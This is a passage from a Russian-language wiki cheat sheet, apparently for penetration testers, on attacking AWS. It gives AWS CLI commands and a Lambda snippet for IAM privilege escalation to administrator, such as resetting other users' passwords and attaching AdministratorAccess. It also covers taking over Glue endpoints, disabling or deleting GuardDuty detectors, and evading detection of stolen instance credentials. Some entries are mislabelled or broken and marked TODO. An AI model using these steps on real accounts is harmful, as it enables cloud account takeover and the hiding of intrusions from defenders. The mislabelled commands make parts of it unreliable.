            &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;, //Разрешить или запретить&lt;br /&gt;
            &amp;quot;Action&amp;quot;: [  //Разрешенные/Запрещенные действия&lt;br /&gt;
                &amp;quot;ec2:AttachVolume&amp;quot;,&lt;br /&gt;
                &amp;quot;ec2:DetachVolume&amp;quot;&lt;br /&gt;
            ], &lt;br /&gt;
            &amp;quot;Resource&amp;quot;: [ //На какие ресурсы можно/нельзя совершать действия&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:volume/*&amp;quot;,&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:instance/*&amp;quot;&lt;br /&gt;
            ],&lt;br /&gt;
            &amp;quot;Condition&amp;quot;: { //Опционально - условия срабатывания&lt;br /&gt;
                &amp;quot;ArnEquals&amp;quot;: {&amp;quot;ec2:SourceInstanceARN&amp;quot;: &amp;quot;arn:aws:ec2:*:*:instance/instance-id&amp;quot;}&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Определение ролей ==&lt;br /&gt;
&lt;br /&gt;
=== Вручную ===&lt;br /&gt;
TODO команды по определению своих ролей&lt;br /&gt;
&lt;br /&gt;
=== Автоматизированно ===&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Тут будут отдельные роли, которые не прикреплены ни к одному сервису.&lt;br /&gt;
&lt;br /&gt;
=== Административный доступ ===&lt;br /&gt;
&lt;br /&gt;
Как выглядит роль с административным доступом:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
&amp;quot;Statement&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,&lt;br /&gt;
      &amp;quot;Action&amp;quot;: [&lt;br /&gt;
        &amp;quot;*&amp;quot;&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;Resource&amp;quot;: &amp;quot;*&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Службы =&lt;br /&gt;
&lt;br /&gt;
== IAM ==&lt;br /&gt;
&lt;br /&gt;
Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Сбросить пароль у других пользователей:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:RunInstance ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + glue:CreateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
См. Glue&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить юзера в административную группу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name &amp;lt;название_группы&amp;gt; --user-name &amp;lt;логин&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PutUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Право добавить своб политику к ранее скомпрометированным обьектам. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam put-user-policy --user-name &amp;lt;логин&amp;gt; --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Привилегия для создания профиля(с паролем)  для аккаунта, выставить новый пароль и перейти под этого пользователя.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любому пользователю.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой группе.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой роли.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать административную политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить пользователя в группу администраторов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name target_group --user-name my_username&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.&lt;br /&gt;
&lt;br /&gt;
Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание политики&lt;br /&gt;
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default&lt;br /&gt;
# Установка политики по умолчанию.&lt;br /&gt;
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== AWS Shield ==&lt;br /&gt;
&lt;br /&gt;
Сервис для защиты от DDoS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Cognito ==&lt;br /&gt;
&lt;br /&gt;
Позволяет быстро и просто добавлять возможности регистрации, авторизации и контроля доступа пользователей в мобильные и интернет-приложения.&lt;br /&gt;
&lt;br /&gt;
=== Основное ===&lt;br /&gt;
&lt;br /&gt;
Cognito отвечает за следующие действия:&lt;br /&gt;
&lt;br /&gt;
* Регистрация пользователя (email + пароль)&lt;br /&gt;
&lt;br /&gt;
* Авторизация пользователя&lt;br /&gt;
&lt;br /&gt;
* Работа с сохраненной пользовательской информацией (устанавливается приложением)&lt;br /&gt;
&lt;br /&gt;
* Специальные действия (например, предоставление AWS-ключей)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Все общение идет по HTTP(s). Особенность системы в том, что Cognito общается как напрямую с чужим веб-сайтом, так и напрямую с клиентским браузером. То есть веб-сервер не знает, какой был передан пароль (в нормальной реализации).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример URL: cognito-identity.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
За действие отвечает HTTP-заголовок &amp;quot;X-Amz-Target&amp;quot;. В своем роде, это Endpoints API.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Какие параметры требуются для работы с ним:&lt;br /&gt;
&lt;br /&gt;
1. Название Endpoint'а  - &amp;quot;X-Amz-Target&amp;quot; заголовок&lt;br /&gt;
&lt;br /&gt;
2. Регион - &amp;quot;aws_project_region&amp;quot; параметр&lt;br /&gt;
&lt;br /&gt;
3. Session token - позже требуется для запросов.&lt;br /&gt;
&lt;br /&gt;
4. Identity Pool ID - нужен для запросов типа Identity Pools.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также пишут, что Cognito разделяется на две основные части:&lt;br /&gt;
&lt;br /&gt;
* User Pools  - для тех, кому нужна только регистрация и аутентификация&lt;br /&gt;
&lt;br /&gt;
* Identity Pools - для тех, кому еще и нужен доступ к AWS-ресурсам.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== X-Amz-Target (Endpoints) ===&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.UpdateUserAttributes ====&lt;br /&gt;
&lt;br /&gt;
У каждого пользователя есть поля, которые могут быть установлены самим пользователем (например, фамилия или дата рождения). Но также это могут быть и критичные поля, такие, как ID пользователя, администратор ли он и так далее.&lt;br /&gt;
&lt;br /&gt;
Также раньше можно было менять поле email'а пользователя (0day): https://infosecwriteups.com/hacking-aws-cognito-misconfiguration-to-zero-click-account-takeover-36a209a0bd8a&lt;br /&gt;
&lt;br /&gt;
Важно! Указано, что могут быть отправки СМС-уведомлений, так что тестировать осторожно.&lt;br /&gt;
&lt;br /&gt;
P.S. Мб неверно название Endpoint'а. Надо проверять.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить AWS ключи для работы с AWS-консолью. По-умолчанию отключено.&lt;br /&gt;
&lt;br /&gt;
Требуется aws_identity_pool_id.&lt;br /&gt;
&lt;br /&gt;
В некоторых примерах оно также было указано как &amp;quot;com.amazonaws.cognito.identity.model.AWSCognitoIdentityService.GetCredentialsForIdentity&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить OpenID токен, действительный на 10 минут.&lt;br /&gt;
&lt;br /&gt;
В примере требуется только &amp;quot;IdentityID&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdTokenForDeveloperIdentity ====&lt;br /&gt;
&lt;br /&gt;
Тоже позволяет получить OpenID токен, действительный на 10 минут. Но также создает новый &amp;quot;IdentityID&amp;quot; (если он не был указан).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Получить учетные данные пользователя по IdentityID: SecretKey, SessionToken, AccessKeyID.&lt;br /&gt;
&lt;br /&gt;
https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html&lt;br /&gt;
&lt;br /&gt;
== GuardDuty ==&lt;br /&gt;
&lt;br /&gt;
Сервис для детектирования атак используя машинное обучение.&lt;br /&gt;
&lt;br /&gt;
Для детекта использует следующие сервисы:&lt;br /&gt;
&lt;br /&gt;
* CloudTrail&lt;br /&gt;
* VPC Flow Logs&lt;br /&gt;
* DNS Logs&lt;br /&gt;
* ...to be continued&lt;br /&gt;
&lt;br /&gt;
=== Обход защиты  ===&lt;br /&gt;
&lt;br /&gt;
Далее идут правила детекта и то, как их можно обойти.&lt;br /&gt;
&lt;br /&gt;
==== UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration ====&lt;br /&gt;
&lt;br /&gt;
Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).&lt;br /&gt;
&lt;br /&gt;
Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).&lt;br /&gt;
&lt;br /&gt;
Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы.&lt;br /&gt;
Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.&lt;br /&gt;
&lt;br /&gt;
Может быть для этого выгодно держать проксирующий сервер EC2.&lt;br /&gt;
&lt;br /&gt;
==== UserAgent rules ====&lt;br /&gt;
&lt;br /&gt;
Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali. &lt;br /&gt;
Варианты:&lt;br /&gt;
&lt;br /&gt;
* Использовать утилиту pacu (уже есть смена User-Agent)&lt;br /&gt;
&lt;br /&gt;
* Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.&lt;br /&gt;
&lt;br /&gt;
=== Роли - Управление ===&lt;br /&gt;
&lt;br /&gt;
Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html&lt;br /&gt;
&lt;br /&gt;
==== guardduty:UpdateDetector ====&lt;br /&gt;
&lt;br /&gt;
Позволяет выключить GuardDuty (ну или редатировать правила):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty update-detector --detector-id &amp;lt;id of detector&amp;gt; --no-enable&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== guardduty:DeleteDetector ====&lt;br /&gt;
&lt;br /&gt;
Удалить правило детектирования:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty delete-detector --detector-id &amp;lt;id of detector&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STS (Security Token Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис, позволяющий запросить временные учетные данные с ограниченными  примилегиями для IAM-пользователей &lt;br /&gt;
&lt;br /&gt;
== KMS (Key Management Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.&lt;br /&gt;
&lt;br /&gt;
Администраторы амазона не смогут получить к ним доступ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ключи со временем обновляются:&lt;br /&gt;
&lt;br /&gt;
* Customers keys - раз в 365 дней&lt;br /&gt;
&lt;br /&gt;
* AWS keys - раз в 3 года.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Старые ключи также можно будет использовать для расшифровки.&lt;br /&gt;
&lt;br /&gt;
== CloudHSM (Hardware Security Module) ==&lt;br /&gt;
&lt;br /&gt;
Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению. &lt;br /&gt;
&lt;br /&gt;
Пишут, что устройство будет закреплено только за вами.&lt;br /&gt;
&lt;br /&gt;
Также можно получить доступ к CloudHSM-Instance по SSH.&lt;br /&gt;
&lt;br /&gt;
== Athena ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.&lt;br /&gt;
&lt;br /&gt;
Умеет работать с шифрованными S3 и сохранять шифрованный вывод.&lt;br /&gt;
&lt;br /&gt;
== EBS (Elastic Block Store) ==&lt;br /&gt;
&lt;br /&gt;
Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление сервисом ===&lt;br /&gt;
 &lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание Volume из snapshot'а (если требуется подключить snapshot)&lt;br /&gt;
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone&lt;br /&gt;
# Подключение Volume к виртуалке EC2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Далее идем на виртуалку и вводим команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Поиск Volume&lt;br /&gt;
lsblk&lt;br /&gt;
# Проверка есть ли на нем данные&lt;br /&gt;
sudo file -s /dev/xvdf&lt;br /&gt;
# форматировать образ под ext4 (если неподходящая файловая система)&lt;br /&gt;
sudo mkfs -t ext4 /dev/xvdf&lt;br /&gt;
# Создаем директорию куда примонтируем позже&lt;br /&gt;
sudo mkdir /tmp/newvolume&lt;br /&gt;
# Монтируем&lt;br /&gt;
sudo mount /dev/xvdf /tmp/newvolume/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Диск будет доступен на /tmp/newvolume.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Lambda ==&lt;br /&gt;
&lt;br /&gt;
Сервис для запуска своего кода в облаке.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:UpdateFunctionCode ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.&lt;br /&gt;
&lt;br /&gt;
Код функции:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
import boto3&lt;br /&gt;
def lambda_handler(event, context):&lt;br /&gt;
    client = boto3.client('iam')&lt;br /&gt;
    response = client.attach_user_policy(&lt;br /&gt;
    UserName='my_username',&lt;br /&gt;
    PolicyArn=&amp;quot;arn:aws:iam::aws:policy/AdministratorAccess&amp;quot;&lt;br /&gt;
    )&lt;br /&gt;
    return response&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Команды для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание функции&lt;br /&gt;
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py&lt;br /&gt;
# Запуск&lt;br /&gt;
aws lambda invoke --function-name my_function output.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:GetFunction ====&lt;br /&gt;
&lt;br /&gt;
Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.&lt;br /&gt;
&lt;br /&gt;
Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получить список функций&lt;br /&gt;
aws lambda list-functions --profile uploadcreds&lt;br /&gt;
# Получить информацию о Lambda-функции&lt;br /&gt;
aws lambda get-function --function-name &amp;quot;LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY&amp;quot; --query 'Code.Location' --profile uploadcreds&lt;br /&gt;
# Скачать исходный код по ссылке из предыдущего ответа&lt;br /&gt;
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Glue ==&lt;br /&gt;
&lt;br /&gt;
Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== glue:UpdateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# TODO: это не обновление параметров, надо обновить команду&lt;br /&gt;
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== glue:CreateDevEndpoint + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== S3 ==&lt;br /&gt;
&lt;br /&gt;
Файловое хранилище, доступное по http(s).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{bucket_name}.s3.amazonaws.com&lt;br /&gt;
https://s3.amazonaws.com/{bucket_name}/&lt;br /&gt;
&lt;br /&gt;
# US Standard&lt;br /&gt;
http://s3.amazonaws.com&lt;br /&gt;
# Ireland&lt;br /&gt;
http://s3-eu-west-1.amazonaws.com&lt;br /&gt;
# Northern California&lt;br /&gt;
http://s3-us-west-1.amazonaws.com&lt;br /&gt;
# Singapore&lt;br /&gt;
http://s3-ap-southeast-1.amazonaws.com&lt;br /&gt;
# Tokyo&lt;br /&gt;
http://s3-ap-northeast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Делать запросы можно:&lt;br /&gt;
&lt;br /&gt;
* В браузере - http(s)&lt;br /&gt;
&lt;br /&gt;
* Используя awscli:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В S3 может использоваться шифрование:&lt;br /&gt;
&lt;br /&gt;
* SSE-KMS - Server-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* SSE-C - Server-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
* CSE-KMS - Client-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* CSE-C - Client-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
=== Сбор информации ===&lt;br /&gt;
&lt;br /&gt;
==== Определение региона ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
$ dig flaws.cloud&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
flaws.cloud.    5    IN    A    52.218.192.11&lt;br /&gt;
&lt;br /&gt;
$ nslookup 52.218.192.11&lt;br /&gt;
Non-authoritative answer:&lt;br /&gt;
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# Итоговый URL будет:&lt;br /&gt;
flaws.cloud.s3-website-us-west-2.amazonaws.com&lt;br /&gt;
flaws.cloud.s3-us-west-2.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если будет некорректный регион - редиректнет на корректный.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Список файлов ====&lt;br /&gt;
&lt;br /&gt;
На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.&lt;br /&gt;
&lt;br /&gt;
Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
